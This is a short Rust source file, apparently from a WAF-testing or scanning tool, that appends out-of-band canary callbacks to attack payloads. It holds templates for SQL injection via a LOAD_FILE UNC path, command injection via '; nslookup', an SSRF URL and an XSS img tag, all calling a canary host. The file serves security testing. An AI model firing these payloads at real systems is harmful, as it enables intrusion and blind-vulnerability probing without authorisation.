use wafrift_types::oob::OobCanary;
pub fn embed_canary(
payload: &str,
canary: &OobCanary,
payload_type: &str,
) -> String {
match payload_type {
"Sql" => format!("{} LOAD_FILE('\\\\\\\\{}\\\\a')", payload, canary.expected_dns),
"CommandInjection" => format!("{}; nslookup {}", payload, canary.expected_dns),
"Ssrf" => format!("http://{}/{}", canary.expected_dns, canary.expected_http_path),
"Xss" => format!("<img src=\"//{}/{}\">", canary.expected_dns, canary.expected_http_path),
_ => payload.to_string(),
}
}